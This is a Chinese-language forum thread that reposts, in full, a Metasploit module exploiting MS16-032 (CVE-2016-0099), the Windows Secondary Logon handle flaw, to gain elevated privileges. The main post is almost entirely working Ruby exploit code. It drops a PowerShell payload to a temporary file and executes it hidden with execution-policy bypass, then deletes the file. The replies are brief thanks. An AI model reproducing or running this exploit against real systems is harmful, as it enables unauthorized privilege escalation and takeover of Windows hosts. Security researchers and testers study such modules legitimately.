请选择 进入手机版 | 继续访问电脑版
查看: 6058|回复: 3868

MS16-032 Secondary Logon Handle Privilege Escalation Exploit

[复制链接]
  • TA的每日心情
    擦汗
    昨天 11:28
  • 签到天数: 550 天

    [LV.9]以坛为家II

    发表于 2016-7-15 09:25:57 | 显示全部楼层 |阅读模式
    CVE-2016-0099

    Description:
    This Metasploit module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This Metasploit module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.

    [C] 纯文本查看 复制代码
    ##
    # This module requires Metasploit: [url]http://metasploit.com/download[/url]
    # Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
    ##
     
    require 'msf/core'
    require 'msf/core/payload_generator'
    require 'msf/core/exploit/powershell'
    require 'rex'
     
    class MetasploitModule < Msf::Exploit::Local
     
      Rank = NormalRanking
     
      include Msf::Exploit::Powershell
      include Msf::Post::Windows::Priv
      include Msf::Post::Windows::Process
      include Msf::Post::File
      include Msf::Post::Windows::ReflectiveDLLInjection
     
      def initialize(info = {})
        super(update_info(info,
          'Name'          => 'MS16-032 Secondary Logon Handle Privilege Escalation',
          'Description'   => %q{
            This module exploits the lack of sanitization of standard handles in Windows' Secondary
            Logon Service.  The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
            32 and 64 bit.  This module will only work against those versions of Windows with
            Powershell 2.0 or later and systems with two or more CPU cores.
          },
           'License'       => BSD_LICENSE,
           'Author'        =>
             [
               'James Forshaw', # twitter.com/tiraniddo
               'b33f',          # @FuzzySec, [url]http://www.fuzzysecurity.com[/url]'
               'khr0x40sh'
             ],
           'References'    =>
             [
               [ 'MS', 'MS16-032'],
               [ 'CVE', '2016-0099'],
               [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
               [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
             ],
            'DefaultOptions' =>
              {
                'WfsDelay' => 30,
                'EXITFUNC' => 'thread'
              },
            'DisclosureDate' => 'Mar 21 2016',
            'Platform'      => [ 'win' ],
            'SessionTypes'  => [ 'meterpreter' ],
            'Targets'        =>
              [
                # Tested on (32 bits):
                # * Windows 7 SP1
                [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
                # Tested on (64 bits):
                # * Windows 7 SP1
                # * Windows 8
                # * Windows 2012
                [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
              ],
            'DefaultTarget' => 0
          ))
     
        register_advanced_options(
          [
            OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
            OptBool.new(  'DRY_RUN', [false, 'Only show what would be done', false ]),
            # How long until we DELETE file, we have a race condition here, so anything less than 60
            # seconds might break
            OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
          ], self.class)
      end
     
      def get_arch
        arch = nil
     
        if sysinfo["Architecture"] =~ /(wow|x)64/i
          arch = ARCH_X86_64
        elsif sysinfo["Architecture"] =~ /x86/i
          arch = ARCH_X86
        end
     
        arch
      end
     
      def check
        os = sysinfo["OS"]
     
        if os !~ /win/i
          # Non-Windows systems are definitely not affected.
          return Exploit::CheckCode::Safe
        end
     
        Exploit::CheckCode::Detected
      end
     
      def exploit
        if is_system?
          fail_with(Failure::None, 'Session is already elevated')
        end
     
        arch1 = get_arch
        if check == Exploit::CheckCode::Safe
          print_error("Target is not Windows")
          return
        elsif arch1 == nil
          print_error("Architecture could not be determined.")
          return
        end
     
        # Exploit PoC from 'b33f'
        ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
        vprint_status("PS1 loaded from #{ps_path}")
        ms16_032 = File.read(ps_path)
     
        cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'
     
        if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
          cmdstr.gsub!("System32","SYSWOW64")
          print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
          vprint_warning("#{cmdstr}")
        end
     
        # payload formatted to fit dropped text file
        payl = cmd_psh_payload(payload.encoded,payload.arch,{
          encode_final_payload: false,
          remove_comspec: true,
          method: 'old'
        })
     
        payl.sub!(/.*?(?=New-Object IO)/im, "")
        payl = payl.split("';$s.")[0]
        payl.gsub!("''","'")
        payl = "$s=#{payl}while($true){Start-Sleep 1000};"
     
        @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
        path = datastore['W_PATH'] || pwd
        @upfile = "#{path}\\#{@upfile}"
        fd = session.fs.file.new(@upfile,"wb")
        print_status("Writing payload file, #{@upfile}...")
        fd.write(payl)
        fd.close
        psh_cmd = "IEX `$(gc #{@upfile})"
     
        #lpAppName
        ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
        #lpcommandLine - capped at 1024b
        ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")
     
        print_status('Compressing script contents...')
        ms16_032_c = compress_script(ms16_032)
     
        if ms16_032_c.size > 8100
          print_error("Compressed size: #{ms16_032_c.size}")
          error_msg = "Compressed size may cause command to exceed "
          error_msg += "cmd.exe's 8kB character limit."
          print_error(error_msg)
        else
          print_good("Compressed size: #{ms16_032_c.size}")
        end
     
        if datastore['DRY_RUN']
          print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
          return
        end
     
        print_status("Executing exploit script...")
        cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
        args = nil
     
        begin
          process = session.sys.process.execute(cmd, args, {
            'Hidden' => true,
            'Channelized' => false
          })
        rescue
          print_error("An error occurred executing the script.")
        end
      end
     
      def cleanup
        sleep_t = datastore['TIMEOUT']
        vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
        sleep sleep_t
     
        begin
          rm_f(@upfile)
          print_good("Cleaned up #{@upfile}")
        rescue
          print_error("There was an issue with cleanup of the powershell payload script.")
        end
      end
    end
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-11-12 12:49
  • 签到天数: 222 天

    [LV.7]常住居民III

    发表于 2016-7-15 10:09:58 | 显示全部楼层
    火钳刘明
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-7-15 14:46:09 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-15 16:02:22 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-15 19:25:28 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-16 00:12:08 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-16 02:11:40 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-16 03:01:08 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-16 05:31:37 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-16 08:16:08 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表